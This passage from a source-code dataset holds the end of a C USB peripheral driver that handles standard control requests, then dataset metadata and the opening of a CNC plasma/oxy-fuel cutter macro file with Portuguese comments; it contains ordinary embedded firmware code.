usb_gpstd_ReqLength;\n (*usb_gpstd_Driver.ctrltrans)(ptr, (USB_REQUEST_t *)&usb_gpstd_ReqReg, (uint16_t)USB_NO_ARG);\n }\n else\n {\n /* Set pipe USB_PID_STALL */\n usb_pstd_SetStallPipe0( ptr );\n }\n}\n/******************************************************************************\nEnd of function usb_pstd_GetDescriptor1\n******************************************************************************/\n\n/******************************************************************************\nFunction Name : usb_pstd_GetConfiguration1\nDescription : Analyze a Get Configuration command and process it.\n : (for control read data stage)\nArguments : USB_UTR_t *ptr : USB system internal structure.\nReturn value : none\n******************************************************************************/\nvoid usb_pstd_GetConfiguration1(USB_UTR_t *ptr)\n{\n static uint8_t tbl[2];\n\n /* check request */\n if( (((usb_gpstd_ReqTypeRecip == USB_DEVICE) \n && (usb_gpstd_ReqValue == 0)) \n && (usb_gpstd_ReqIndex == 0)) \n && (usb_gpstd_ReqLength == 1) )\n {\n tbl[0] = (uint8_t)usb_gpstd_ConfigNum;\n /* Control read start */\n usb_pstd_ControlRead(ptr, (uint32_t)1, tbl);\n }\n else\n {\n /* Set pipe USB_PID_STALL */\n usb_pstd_SetStallPipe0( ptr );\n }\n}\n/******************************************************************************\nEnd of function usb_pstd_GetConfiguration1\n******************************************************************************/\n\n/******************************************************************************\nFunction Name : usb_pstd_GetInterface1\nDescription : Analyze a Get Interface command and process it.\nArguments : USB_UTR_t *ptr : USB system internal structure.\nReturn value : none\n******************************************************************************/\nvoid usb_pstd_GetInterface1(USB_UTR_t *ptr)\n{\n static uint8_t tbl[2];\n\n /* check request */\n if( ((usb_gpstd_ReqTypeRecip == USB_INTERFACE) && (usb_gpstd_ReqValue == 0)) && (usb_gpstd_ReqLength == 1) )\n {\n if( usb_gpstd_ReqIndex < USB_ALT_NO )\n {\n tbl[0] = (uint8_t)usb_gpstd_AltNum[usb_gpstd_ReqIndex];\n /* Start control read */\n usb_pstd_ControlRead(ptr, (uint32_t)1, tbl);\n }\n else\n {\n /* Request error */\n usb_pstd_SetStallPipe0( ptr );\n }\n }\n else\n {\n /* Request error */\n usb_pstd_SetStallPipe0( ptr );\n }\n}\n/******************************************************************************\nEnd of function usb_pstd_GetInterface1\n******************************************************************************/\n\n/******************************************************************************\nFunction Name : usb_pstd_ClearFeature0\nDescription : Clear Feature0\nArguments : none\nReturn value : none\n******************************************************************************/\nvoid usb_pstd_ClearFeature0(void)\n{\n}\n/******************************************************************************\nEnd of function usb_pstd_ClearFeature0\n******************************************************************************/\n\n/******************************************************************************\nFunction Name : usb_pstd_ClearFeature3\nDescription : Analyze a Clear Feature command and process it.\nArguments : USB_UTR_t *ptr : USB system internal structure.\nReturn value : none\n******************************************************************************/\nvoid usb_pstd_ClearFeature3(USB_UTR_t *ptr)\n{\n uint16_t pipe;\n uint16_t ep;\n\n if( usb_gpstd_ReqLength == 0 )\n {\n /* check request type */\n switch( usb_gpstd_ReqTypeRecip )\n {\n case USB_DEVICE:\n if( (usb_gpstd_ReqValue == USB_DEV_REMOTE_WAKEUP)\n && (usb_gpstd_ReqIndex == 0) )\n {\n if( usb_pstd_ChkRemote() == USB_YES )\n {\n usb_gpstd_RemoteWakeup = USB_NO;\n /* Set pipe PID_BUF */\n usb_cstd_SetBuf(ptr, (uint16_t)USB_PIPE0);\n }\n else\n {\n /* Not support remote wakeup */\n /* Request error */\n usb_pstd_SetStallPipe0( ptr );\n }\n }\n else\n {\n /* Not specification */\n usb_pstd_SetStallPipe0( ptr );\n }\n break;\n case USB_INTERFACE:\n /* Request error */\n usb_pstd_SetStallPipe0( ptr );\n break;\n case USB_ENDPOINT:\n /* Endpoint number */\n ep = (uint16_t)(usb_gpstd_ReqIndex & USB_EPNUMFIELD);\n if( usb_gpstd_ReqValue == USB_ENDPOINT_HALT )\n {\n /* EP0 */\n if( ep == 0 )\n {\n /* Stall clear */\n usb_cstd_ClrStall(ptr, (uint16_t)USB_PIPE0);\n /* Set pipe PID_BUF */\n usb_cstd_SetBuf(ptr, (uint16_t)USB_PIPE0);\n }\n /* EP1 to max */\n else if( ep <= USB_MAX_EP_NO )\n {\n pipe = usb_cstd_Epadr2Pipe(ptr, usb_gpstd_ReqIndex);\n if( pipe == USB_ERROR )\n {\n /* Request error */\n usb_pstd_SetStallPipe0( ptr );\n }\n else\n {\n if( usb_cstd_GetPid(ptr, pipe) == USB_PID_BUF )\n {\n usb_cstd_SetNak(ptr, pipe);\n /* SQCLR=1 */\n usb_creg_set_sqclr(ptr, pipe);\n /* Set pipe PID_BUF */\n usb_cstd_SetBuf(ptr, pipe);\n }\n else\n {\n usb_cstd_ClrStall(ptr, pipe);\n /* SQCLR=1 */\n usb_creg_set_sqclr(ptr, pipe);\n }\n /* Set pipe PID_BUF */\n usb_cstd_SetBuf(ptr, (uint16_t)USB_PIPE0);\n if( usb_gpstd_StallPipe[pipe] == USB_YES )\n {\n usb_gpstd_StallPipe[pipe] = USB_DONE;\n (*usb_gpstd_StallCB)(ptr, pipe, (uint16_t)0);\n }\n }\n }\n else\n {\n /* Request error */\n usb_pstd_SetStallPipe0( ptr );\n }\n }\n else\n {\n /* Request error */\n usb_pstd_SetStallPipe0( ptr );\n }\n break;\n default:\n usb_pstd_SetStallPipe0( ptr );\n break;\n }\n }\n else\n {\n /* Not specification */\n usb_pstd_SetStallPipe0( ptr );\n }\n}\n/******************************************************************************\nEnd of function usb_pstd_ClearFeature3\n******************************************************************************/\n\n/******************************************************************************\nFunction Name : usb_pstd_SetFeature0\nDescription : Set Feature0 (for idle/setup stage)\nArguments : none\nReturn value : none\n******************************************************************************/\nvoid usb_pstd_SetFeature0(void)\n{\n}\n/******************************************************************************\nEnd of function usb_pstd_SetFeature0\n******************************************************************************/\n\n/******************************************************************************\nFunction Name : usb_pstd_SetFeature3\nDescription : Analyze a Set Feature command and process it.\nArguments : USB_UTR_t *ptr : USB system internal structure.\nReturn value : none\n******************************************************************************/\nvoid usb_pstd_SetFeature3(USB_UTR_t *ptr)\n{\n uint16_t pipe;\n uint16_t ep;\n\n if( usb_gpstd_ReqLength == 0 )\n {\n /* check request type */\n switch( usb_gpstd_ReqTypeRecip )\n {\n case USB_DEVICE:\n switch( usb_gpstd_ReqValue )\n {\n case USB_DEV_REMOTE_WAKEUP:\n if( usb_gpstd_ReqIndex == 0 )\n {\n if( usb_pstd_ChkRemote() == USB_YES )\n {\n usb_gpstd_RemoteWakeup = USB_YES;\n /* Set pipe PID_BUF */\n usb_cstd_SetBuf(ptr, (uint16_t)USB_PIPE0);\n }\n else\n {\n /* Not support remote wakeup */\n /* Request error */\n usb_pstd_SetStallPipe0( ptr );\n }\n }\n else\n {\n /* Not specification */\n usb_pstd_SetStallPipe0( ptr );\n }\n break;\n#if ((( USB_FUNCSEL_USBIP0_PP == USB_PERI_PP) && (USB0_IPTYPE_PP == USB_HS_PP))\\\n ||(( USB_FUNCSEL_USBIP1_PP == USB_PERI_PP) && (USB1_IPTYPE_PP == USB_HS_PP)))\n case USB_TEST_MODE:\n if( usb_cstd_PortSpeed(ptr, (uint16_t)USB_PORT0) == USB_HSCONNECT )\n {\n if( (usb_gpstd_ReqIndex < USB_TEST_RESERVED) || (USB_TEST_VSTMODES <= usb_gpstd_ReqIndex) )\n {\n usb_gpstd_TestModeFlag = USB_YES;\n usb_gpstd_TestModeSelect = usb_gpstd_ReqIndex;\n /* Set pipe PID_BUF */\n usb_cstd_SetBuf(ptr, (uint16_t)USB_PIPE0);\n }\n else\n {\n /* Not specification */\n usb_pstd_SetStallPipe0( ptr );\n }\n }\n else\n {\n /* Not specification */\n usb_pstd_SetStallPipe0( ptr );\n }\n break;\n#endif /* USB0_IPTYPE_PP == USB_HS_PP || USB1_IPTYPE_PP == USB_HS_PP */\n\n default:\n usb_pstd_SetFeatureFunction(ptr);\n break;\n }\n break;\n case USB_INTERFACE:\n /* Set pipe USB_PID_STALL */\n usb_pstd_SetStallPipe0( ptr );\n break;\n case USB_ENDPOINT:\n /* Endpoint number */\n ep = (uint16_t)(usb_gpstd_ReqIndex & USB_EPNUMFIELD);\n if( usb_gpstd_ReqValue == USB_ENDPOINT_HALT )\n {\n /* EP0 */\n if( ep == 0 )\n {\n /* Set pipe PID_BUF */\n usb_cstd_SetBuf(ptr, (uint16_t)USB_PIPE0);\n }\n /* EP1 to max */\n else if( ep <= USB_MAX_EP_NO )\n {\n pipe = usb_cstd_Epadr2Pipe(ptr, usb_gpstd_ReqIndex);\n if( pipe == USB_ERROR )\n {\n /* Request error */\n usb_pstd_SetStallPipe0( ptr );\n }\n else\n {\n /* Set pipe USB_PID_STALL */\n usb_pstd_SetStall(ptr, pipe);\n /* Set pipe PID_BUF */\n usb_cstd_SetBuf(ptr, (uint16_t)USB_PIPE0);\n }\n }\n else\n {\n /* Request error */\n usb_pstd_SetStallPipe0( ptr );\n }\n }\n else\n {\n /* Not specification */\n usb_pstd_SetStallPipe0( ptr );\n }\n break;\n\n default:\n /* Request error */\n usb_pstd_SetStallPipe0( ptr );\n break;\n }\n }\n else\n {\n /* Request error */\n usb_pstd_SetStallPipe0( ptr );\n }\n}\n/******************************************************************************\nEnd of function usb_pstd_SetFeature3\n******************************************************************************/\n\n/******************************************************************************\nFunction Name : usb_pstd_SetAddress0\nDescription : Set Address0 (for idle/setup stage).\nArguments : none\nReturn value : none\n******************************************************************************/\nvoid usb_pstd_SetAddress0(void)\n{\n}\n/******************************************************************************\nEnd of function usb_pstd_SetAddress0\n******************************************************************************/\n\n/******************************************************************************\nFunction Name : usb_pstd_SetAddress3\nDescription : Analyze a Set Address command and process it.\nArguments : USB_UTR_t *ptr : USB system internal structure.\nReturn value : none\n******************************************************************************/\nvoid usb_pstd_SetAddress3(USB_UTR_t *ptr)\n{\n if( usb_gpstd_ReqTypeRecip == USB_DEVICE )\n {\n if( (usb_gpstd_ReqIndex == 0) && (usb_gpstd_ReqLength == 0) )\n {\n if( usb_gpstd_ReqValue <= 127 )\n {\n /* Set pipe PID_BUF */\n usb_cstd_SetBuf(ptr, (uint16_t)USB_PIPE0);\n }\n else\n {\n /* Not specification */\n usb_pstd_SetStallPipe0( ptr );\n }\n }\n else\n {\n /* Not specification */\n usb_pstd_SetStallPipe0( ptr );\n }\n }\n else\n {\n /* Request error */\n usb_pstd_SetStallPipe0( ptr );\n }\n}\n/******************************************************************************\nEnd of function usb_pstd_SetAddress3\n******************************************************************************/\n\n/******************************************************************************\nFunction Name : usb_pstd_SetDescriptor2\nDescription : Return STALL in response to a Set Descriptor command.\nArguments : USB_UTR_t *ptr : USB system internal structure.\nReturn value : none\n******************************************************************************/\nvoid usb_pstd_SetDescriptor2(USB_UTR_t *ptr)\n{\n /* Not specification */\n usb_pstd_SetStallPipe0( ptr );\n}\n/******************************************************************************\nEnd of function usb_pstd_SetDescriptor2\n******************************************************************************/\n\n\n/******************************************************************************\nFunction Name : usb_pstd_SetConfiguration0\nDescription : Call callback function to notify the reception of SetConfiguration command\n : (for idle /setup stage)\nArguments : USB_UTR_t *ptr : USB system internal structure.\nReturn value : none\n******************************************************************************/\nvoid usb_pstd_SetConfiguration0(USB_UTR_t *ptr)\n{\n uint16_t config_num;\n\n config_num = usb_gpstd_ConfigNum;\n\n /* Configuration number set */\n usb_pstd_SetConfigNum(usb_gpstd_ReqValue);\n\n if( usb_gpstd_ReqValue != config_num )\n {\n /* Registration open function call */\n (*usb_gpstd_Driver.devconfig)(ptr, usb_gpstd_ConfigNum, (uint16_t)USB_NO_ARG);\n }\n}\n/******************************************************************************\nEnd of function usb_pstd_SetConfiguration0\n******************************************************************************/\n\n/******************************************************************************\nFunction Name : usb_pstd_SetConfiguration3\nDescription : Analyze a Set Configuration command and process it. This is\n : for the status stage of a control write where there is no data\n : stage.\nArguments : USB_UTR_t *ptr : USB system internal structure.\nReturn value : none\n******************************************************************************/\nvoid usb_pstd_SetConfiguration3(USB_UTR_t *ptr)\n{\n uint16_t i, j;\n uint16_t ifc, cfgnum, cfgok;\n uint16_t *table;\n uint8_t *table2;\n\n if( usb_gpstd_ReqTypeRecip == USB_DEVICE )\n {\n cfgnum = usb_pstd_GetConfigNum();\n cfgok = USB_NG;\n\n for ( j = 0; j < cfgnum; j++ )\n {\n table2 = usb_gpstd_Driver.configtbl[j];\n\n if( (((usb_gpstd_ReqValue == table2[5]) || (usb_gpstd_ReqValue == 0))\n && (usb_gpstd_ReqIndex == 0)) && (usb_gpstd_ReqLength == 0) )\n {\n usb_cstd_SetBuf(ptr, (uint16_t)USB_PIPE0);\n cfgok = USB_OK;\n\n if( ( usb_gpstd_ReqValue > 0 ) && ( usb_gpstd_ReqValue != usb_gpstd_ConfigNum ) )\n {\n usb_pstd_ClearEpTblIndex();\n ifc = usb_pstd_GetInterfaceNum(usb_gpstd_ReqValue);\n for( i = 0; i < ifc; ++i )\n {\n /* Pipe Information Table (\"endpoint table\") initialize */\n usb_pstd_SetEpTblIndex(usb_gpstd_ReqValue, i, (uint16_t)0);\n }\n table = usb_gpstd_Driver.pipetbl[usb_gpstd_ReqValue - 1];\n /* Clear pipe configuration register */\n usb_pstd_SetPipeRegister(ptr, (uint16_t)USB_CLRPIPE, table);\n /* Set pipe configuration register */\n usb_pstd_SetPipeRegister(ptr, (uint16_t)USB_PERIPIPE, table);\n }\n break;\n }\n }\n if( cfgok == USB_NG )\n {\n /* Request error */\n usb_pstd_SetStallPipe0( ptr );\n }\n }\n else\n {\n /* Request error */\n usb_pstd_SetStallPipe0( ptr );\n }\n}\n/******************************************************************************\nEnd of function usb_pstd_SetConfiguration3\n******************************************************************************/\n\n/******************************************************************************\nFunction Name : usb_pstd_SetInterface0\nDescription : Call callback function to notify reception of SetInterface com-\n : mand. For idle/setup stage.\nArguments : USB_UTR_t *ptr : USB system internal structure.\nReturn value : none\n******************************************************************************/\nvoid usb_pstd_SetInterface0(USB_UTR_t *ptr)\n{\n /* Interfaced change function call */\n (*usb_gpstd_Driver.interface)(ptr, usb_gpstd_AltNum[usb_gpstd_ReqIndex], (uint16_t)USB_NO_ARG);\n}\n/******************************************************************************\nEnd of function usb_pstd_SetInterface0\n******************************************************************************/\n\n/******************************************************************************\nFunction Name : usb_pstd_SetInterface3\nDescription : Analyze a Set Interface command and request the process for \n : the command. This is for a status stage of a control write \n : where there is no data stage.\nArguments : none\nReturn value : none\n******************************************************************************/\nvoid usb_pstd_SetInterface3(USB_UTR_t *ptr)\n{\n uint16_t *table;\n uint16_t conf;\n\n conf = usb_gpstd_ConfigNum;\n if( conf < (uint16_t)1 )\n {\n /* Address state */\n conf = (uint16_t)1;\n }\n\n /* Configured ? */\n if( (usb_pstd_ChkConfigured(ptr) == USB_YES) \n && (usb_gpstd_ReqTypeRecip == USB_INTERFACE) )\n {\n if( (usb_gpstd_ReqIndex <= usb_pstd_GetInterfaceNum(usb_gpstd_ConfigNum)) && (usb_gpstd_ReqLength == 0) )\n {\n if( usb_gpstd_ReqValue <= usb_pstd_GetAlternateNum(usb_gpstd_ConfigNum, usb_gpstd_ReqIndex) )\n {\n usb_gpstd_AltNum[usb_gpstd_ReqIndex] = (uint16_t)(usb_gpstd_ReqValue & USB_ALT_SET);\n usb_cstd_SetBuf(ptr, (uint16_t)USB_PIPE0);\n usb_pstd_ClearEpTblIndex();\n /* Search endpoint setting */\n usb_pstd_SetEpTblIndex(usb_gpstd_ConfigNum, usb_gpstd_ReqIndex, usb_gpstd_AltNum[usb_gpstd_ReqIndex]);\n table = usb_gpstd_Driver.pipetbl[conf - 1];\n /* Set pipe configuration register */\n usb_pstd_SetPipeRegister(ptr, (uint16_t)USB_PERIPIPE, table);\n }\n else\n {\n /* Request error */\n usb_pstd_SetStallPipe0( ptr );\n }\n }\n else\n {\n /* Request error */\n usb_pstd_SetStallPipe0( ptr );\n }\n }\n else\n {\n /* Request error */\n usb_pstd_SetStallPipe0( ptr );\n }\n}\n/******************************************************************************\nEnd of function usb_pstd_SetInterface3\n******************************************************************************/\n\n/******************************************************************************\nFunction Name : usb_pstd_SynchFrame1\nDescription : Return STALL response to SynchFrame command.\nArguments : none\nReturn value : none\n******************************************************************************/\nvoid usb_pstd_SynchFrame1(USB_UTR_t *ptr)\n{\n /* Set pipe USB_PID_STALL */\n usb_pstd_SetStallPipe0( ptr );\n}\n/******************************************************************************\nEnd of function usb_pstd_SynchFrame1\n******************************************************************************/\n\n#endif /* (USB_FUNCSEL_USBIP0_PP == USB_PERI_PP) || (USB_FUNCSEL_USBIP1_PP == USB_PERI_PP) */\n\n/******************************************************************************\nEnd Of File\n******************************************************************************/" }, { "alpha_fraction": 0.6549327373504639, "alphanum_fraction": 0.6696103811264038, "avg_line_length": 32.97083282470703, "blob_id": "497dfe4d1c75d7c23fa9f58806d84b4852fbca29", "content_id": "269d61c47f18587f656c308ea1c3f6b9f5de2aab", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C", "length_bytes": 24487, "license_type": "no_license", "max_line_length": 118, "num_lines": 720, "path": "/src/cnc/macros/macros.c", "repo_name": "ustropo/MT01", "src_encoding": "UTF-8", "text": "#include \"FreeRTOS.h\"\n#include \"task.h\"\n#include \"semphr.h\"\n\n#include \"tinyg.h\"\t\t\t// #1\n#include \"config.h\"\t\t\t// #2\n#include \"controller.h\"\n#include \"gcode_parser.h\"\n#include \"canonical_machine.h\"\n#include \"planner.h\"\n#include \"spindle.h\"\n#include \"util.h\"\n#include \"xio.h\"\t\t\t// for char definitions\n#include \"macros.h\"\n#include \"eeprom.h\"\n#include \"plasma.h\"\n#include \"interpreter_if.h\"\n\n#include \"lcd.h\"\n#include \"keyboard.h\"\n\n#define FEEDRATE_Z 900\n\n\nstatic float altura_perfuracao;\nstatic float altura_deslocamento;\nstatic float altura_corte;\nstatic float vel_corte;\nstatic float tempo_perfuracao;\nstatic float tempo_aquecimento;\n\nuint32_t zero_flags = 0;\n\nfloat *velocidadeJog;\nfloat Xcord,Ycord;\nut_config_name_ox tempoDwell;\nfloat jogMaxDistance[3];\nuint8_t state = 0;\nuint32_t linenumMacro;\nextern bool sim;\nextern bool intepreterRunning;\nextern bool lstop;\nbool xMacroArcoOkSync = false;\n\nstat_t (*macro_func_ptr)(void);\nstat_t (*macro_buffer)(void);\n\nstruct gcodeParserSingleton {\t \t // struct to manage globals\n\tuint8_t modals[MODAL_GROUP_COUNT];// collects modal groups in a block\n};\n\nextern struct gcodeParserSingleton gp;\n\n#define SET_MODAL_MACRO(m,parm,val) cm.gn.parm=val; cm.gf.parm=1; gp.modals[m]+=1;\n#define SET_NON_MODAL_MACRO(parm,val) cm.gn.parm=val; cm.gf.parm=1;\n\nstat_t M3_Macro(void)\n{\n\tfloat tempo;\n\tmacro_buffer = M3_Macro;\n\n\t// set initial state for new move\n\tmemset(&gp, 0, sizeof(gp));\t\t\t\t\t\t// clear all parser values\n\tmemset(&cm.gf, 0, sizeof(GCodeInput_t));\t\t// clear all next-state flags\n\tmemset(&cm.gn, 0, sizeof(GCodeInput_t));\t\t// clear all next-state values\n\tcm.gn.motion_mode = cm_get_motion_mode(MODEL);\t// get motion mode from previous block\n\tprintf(\"Macro M3 - state %d\\nlinumacro - %d\\n\",state,linenumMacro);\n\tif(configFlags[MODOMAQUINA] == MODO_PLASMA)\n\t{\n\t\taltura_perfuracao \t= \tconfigVarPl[PL_CONFIG_ALTURA_PERFURACAO];\n\t\taltura_deslocamento\t= \tconfigVarMaq[CFG_MAQUINA_ALT_DESLOCAMENTO];\n\t\taltura_corte\t\t= \tconfigVarPl[PL_CONFIG_ALTURA_CORTE];\n\t\tvel_corte\t\t\t= \tconfigVarPl[PL_CONFIG_VELOC_CORTE];\n\t\ttempo_perfuracao\t= \tconfigVarPl[PL_CONFIG_TEMPO_PERFURACAO];\n\t\ttempo_aquecimento\t= \t0;\n\t\tswitch (state)\n\t\t{\n\t\t\t\t/* 1- Procura chapa. G38.2 -50 COM FEEDRATE DE 900MM/MIN */\n\t\t\tcase 0: SET_NON_MODAL_MACRO (linenum,(uint32_t)linenumMacro);\n\t\t\t\t\tSET_NON_MODAL_MACRO (next_action, NEXT_ACTION_STRAIGHT_PROBE);\n\t\t\t\t\tSET_NON_MODAL_MACRO(target[AXIS_Z], -50);\n\t\t\t\t\tSET_NON_MODAL_MACRO (feed_rate, FEEDRATE_Z);\n\t\t\t\t\tstate++; break;\n\n\t\t\t\t/* 2- Zera o eixo Z com G28.3 Z0*/\n\t\t\tcase 1: SET_NON_MODAL_MACRO (linenum,(uint32_t)linenumMacro);\n\t\t\t\t\tSET_NON_MODAL_MACRO(next_action, NEXT_ACTION_SET_ABSOLUTE_ORIGIN);\n\t\t\t\t\tSET_NON_MODAL_MACRO(target[AXIS_Z], 0);\n\t\t\t\t\tstate++; break;\n\n\t\t\t\t\t/* 3- Posiciona o eixo Z para \"ALTURA DE PERFURAÇÃO\" */\n\t\t\tcase 2: SET_NON_MODAL_MACRO (linenum,(uint32_t)linenumMacro);\n\t\t\t\t\tSET_MODAL_MACRO (MODAL_GROUP_G1, motion_mode, MOTION_MODE_STRAIGHT_TRAVERSE);\n\t\t\t\t\tSET_NON_MODAL_MACRO(target[AXIS_Z], altura_perfuracao);\n\t\t\t\t\tstate++; break;\n\n\t\t\t\t\t/* 4- CHECA SE O ESTÁ EM MODO SIMULAÇÃO, SE SIM, PULAR PARA PASSO 8. SE ESTIVER EM MODO OXICORTE, CONTINUA.\n\t\t\t\t\t 4 -Dispara a tocha */\n\t\t\tcase 3:\tSET_NON_MODAL_MACRO (linenum,(uint32_t)linenumMacro);\n\t\t\t\t\tSET_MODAL_MACRO (MODAL_GROUP_M7, spindle_mode, SPINDLE_CW);\n\t\t\t\t\tstate++;\n\t\t\t\t\tbreak;\n\n\t\t\t\t\t/* 5 -Espera o arco OK */\n\t\t\tcase 4: if(!sim)\n\t\t\t\t\t{\n\t\t\t\t\t\tSET_NON_MODAL_MACRO (linenum,(uint32_t)linenumMacro);\n\t\t\t\t\t\tSET_NON_MODAL_MACRO (next_action, NEXT_ACTION_WAIT_SWITCH);\n\t\t\t\t\t\tSET_NON_MODAL_MACRO (parameter, 3000);\n\t\t\t\t\t}\n\t\t\t\t\tstate++; break;\n\n\t\t\t\t\t/*6- Dwell do \"TEMPO DE PERFURAÇÃO\" */\n\t\t\tcase 5:\tif (tempo_perfuracao > 0.09){\n\t\t\t\t\t\tSET_NON_MODAL_MACRO (linenum,(uint32_t)linenumMacro);\n\t\t\t\t\t\tSET_NON_MODAL_MACRO (next_action, NEXT_ACTION_DWELL);\n\t\t\t\t\t\tSET_NON_MODAL_MACRO (parameter, tempo_perfuracao*1000);\n\t\t\t\t\t}\n\t\t\t\t\telse\n\t\t\t\t\t{\n\t\t\t\t\t\tdelay_thcStartStop(true);\n\t\t\t\t\t}\n\t\t\t\t\tstate++; break;\n\n\n\t\t\t\t\t/*7- Desce para a \"ALTURA DE CORTE\" com feedrate de 800*/\n\t\t\tcase 6: SET_NON_MODAL_MACRO (linenum,(uint32_t)linenumMacro);\n\t\t\t\t\tSET_MODAL_MACRO (MODAL_GROUP_G1, motion_mode, MOTION_MODE_STRAIGHT_FEED);\n\t\t\t\t\tSET_NON_MODAL_MACRO(target[AXIS_Z], altura_corte);\n\t\t\t\t\tSET_NON_MODAL_MACRO (feed_rate, FEEDRATE_Z);\n\t\t\t\t\tstate++; break;\n\n\t\t\t\t\t/*8- Seta o sistema com o feedrate de corte \"VELOC. DE CORTE\" */\n\t\t\tcase 7: SET_NON_MODAL_MACRO (linenum,(uint32_t)linenumMacro);\n\t\t\t\t\tSET_NON_MODAL_MACRO (feed_rate, vel_corte);\n\t\t\t\t\tstate++; break;\n\n\t\t\tdefault: state = 0; macro_buffer = _command_dispatch ; macro_func_ptr = _command_dispatch; return (STAT_OK);\n\t\t}\n\t}\n\telse\n\t{\n\t\tif (cm_get_runtime_busy() == true || lstop == true) { return (STAT_EAGAIN);}\t// sync to planner move ends\n\t\taltura_perfuracao \t= \tconfigVarOx[OX_CONFIG_ALTURA_PERFURACAO];\n\t\taltura_deslocamento\t= \tconfigVarMaq[CFG_MAQUINA_ALT_DESLOCAMENTO];\n\t\taltura_corte\t\t= \tconfigVarOx[OX_CONFIG_ALTURA_CORTE];\n\t\tvel_corte\t\t\t= \tconfigVarOx[OX_CONFIG_VELOC_CORTE];\n\t\ttempo_perfuracao\t= \tconfigVarOx[OX_CONFIG_TEMPO_PERFURACAO];\n\t\ttempo_aquecimento\t= \tconfigVarOx[OX_CONFIG_TEMPO_AQUECIMENTO];\n\t\tswitch (state)\n\t\t{\n\t\t\t\t\t/* 1- Posiciona o eixo Z para \"ALTURA DE AQUECIMENTO = ALTURA DE CORTE\" */\n\t\t\tcase 0: SET_NON_MODAL_MACRO (linenum,(uint32_t)linenumMacro);\n\t\t\t\t\tSET_MODAL_MACRO (MODAL_GROUP_G1, motion_mode, MOTION_MODE_STRAIGHT_TRAVERSE);\n\t\t\t\t\tSET_NON_MODAL_MACRO(target[AXIS_Z], altura_corte);\n\t\t\t\t\tstate++; break;\n\n\t\t\t\t\t/*2- Dwell do \"TEMPO DE AQUECIMENTO\". Pula se estiver em simulação */\n\t\t\tcase 1: if(!sim)\n\t\t\t\t\t{\n\t\t\t\t\t\ttempo = tempo_aquecimento;\n\t\t\t\t\t}\n\t\t\t\t\telse\n\t\t\t\t\t{\n\t\t\t\t\t\ttempo = 0;\n\t\t\t\t\t}\n\n\t\t\t\t if (tempo > 0.09){\n\t\t\t\t\t\tSET_NON_MODAL_MACRO (linenum,(uint32_t)linenumMacro);\n\t\t\t\t\t\tSET_NON_MODAL_MACRO (next_action, NEXT_ACTION_DWELL);\n\t\t\t\t\t\tSET_NON_MODAL_MACRO (parameter, tempo*1000);\n\t\t\t\t\t}\n\t\t\t\t\telse\n\t\t\t\t\t{\n\t\t\t\t\t\tdelay_thcStartStop(true);\n\t\t\t\t\t}\n\t\t\t\t\tstate++; break;\n\n\t\t\t\t\t/*3- Sobe para \"ALTURA DE PERFURAÇÃO\" */\n\t\t\tcase 2:\tSET_NON_MODAL_MACRO (linenum,(uint32_t)linenumMacro);\n\t\t\t\t\tSET_MODAL_MACRO (MODAL_GROUP_G1, motion_mode, MOTION_MODE_STRAIGHT_TRAVERSE);\n\t\t\t\t\tSET_NON_MODAL_MACRO(target[AXIS_Z], altura_perfuracao);\n\t\t\t\t\tstate++; break;\n\n\t\t\t\t\t/*4- Liga a tocha */\n\t\t\tcase 3: if(configFlags[MODOMAQUINA] == MODO_OXICORTE){\n\t\t\t\t\t\tSET_NON_MODAL_MACRO (linenum,(uint32_t)linenumMacro);\n\t\t\t\t\t\tSET_MODAL_MACRO (MODAL_GROUP_M7, spindle_mode, SPINDLE_CW);\n\t\t\t\t\t}\n\t\t\t\t\tstate++;\n\t\t\t\t\tbreak;\n\n\t\t\t\t\t/*5- Dwell do \"TEMPO DE PERFURAÇÃO\" */\n\t\t\t\tcase 4: if(!sim)\n\t\t\t\t\t\t{\n\t\t\t\t\t\t\ttempo = tempo_perfuracao;\n\t\t\t\t\t\t}\n\t\t\t\t\t\telse\n\t\t\t\t\t\t{\n\t\t\t\t\t\t\ttempo = 0;\n\t\t\t\t\t\t}\n\n\t\t\t\t\t\tif(tempo > 0.09){\n\t\t\t\t\t\t\tSET_NON_MODAL_MACRO (linenum,(uint32_t)linenumMacro);\n\t\t\t\t\t\t\tSET_NON_MODAL_MACRO (next_action, NEXT_ACTION_DWELL);\n\t\t\t\t\t\t\tSET_NON_MODAL_MACRO (parameter, tempo*1000);\n\t\t\t\t\t\t}\n\t\t\t\t\t\telse\n\t\t\t\t\t\t{\n\t\t\t\t\t\t\tdelay_thcStartStop(true);\n\t\t\t\t\t\t}\n\t\t\t\t\tstate++; break;\n\n\t\t\t\t\t/*6- Desce para a \"ALTURA DE CORTE\" com feedrate de 800*/\n\t\t\tcase 5: SET_NON_MODAL_MACRO (linenum,(uint32_t)linenumMacro);\n\t\t\t\t\tSET_MODAL_MACRO (MODAL_GROUP_G1, motion_mode, MOTION_MODE_STRAIGHT_FEED);\n\t\t\t\t\tSET_NON_MODAL_MACRO(target[AXIS_Z], altura_corte);\n\t\t\t\t\tSET_NON_MODAL_MACRO (feed_rate, FEEDRATE_Z);\n\t\t\t\t\tstate++; break;\n\n\t\t\t\t\t/*7- Seta o sistema com o feedrate de corte \"VELOC. DE CORTE\" */\n\t\t\tcase 6: SET_NON_MODAL_MACRO (linenum,(uint32_t)linenumMacro);\n\t\t\t\t\tSET_NON_MODAL_MACRO (feed_rate, vel_corte);\n\t\t\t\t\tstate++; break;\n\n\t\t\tdefault: state = 0; macro_func_ptr = _command_dispatch; return (STAT_OK);\n\t\t}\n\t}\n\t_execute_gcode_block();\n\treturn (STAT_OK);\n}\n\nstat_t M4_Macro(void)\n{\n\tfloat tempo;\n\tmacro_buffer = M4_Macro;\n\n\t// set initial state for new move\n\tmemset(&gp, 0, sizeof(gp));\t\t\t\t\t\t// clear all parser values\n\tmemset(&cm.gf, 0, sizeof(GCodeInput_t));\t\t// clear all next-state flags\n\tmemset(&cm.gn, 0, sizeof(GCodeInput_t));\t\t// clear all next-state values\n\tcm.gn.motion_mode = cm_get_motion_mode(MODEL);\t// get motion mode from previous block\n\n\tif(configFlags[MODOMAQUINA] == MODO_PLASMA)\n\t{\n\t\taltura_perfuracao \t= \tconfigVarPl[PL_CONFIG_ALTURA_PERFURACAO];\n\t\taltura_deslocamento\t= \tconfigVarMaq[CFG_MAQUINA_ALT_DESLOCAMENTO];\n\t\taltura_corte\t\t= \tconfigVarPl[PL_CONFIG_ALTURA_CORTE];\n\t\tvel_corte\t\t\t= \tconfigVarPl[PL_CONFIG_VELOC_CORTE];\n\t\ttempo_perfuracao\t= 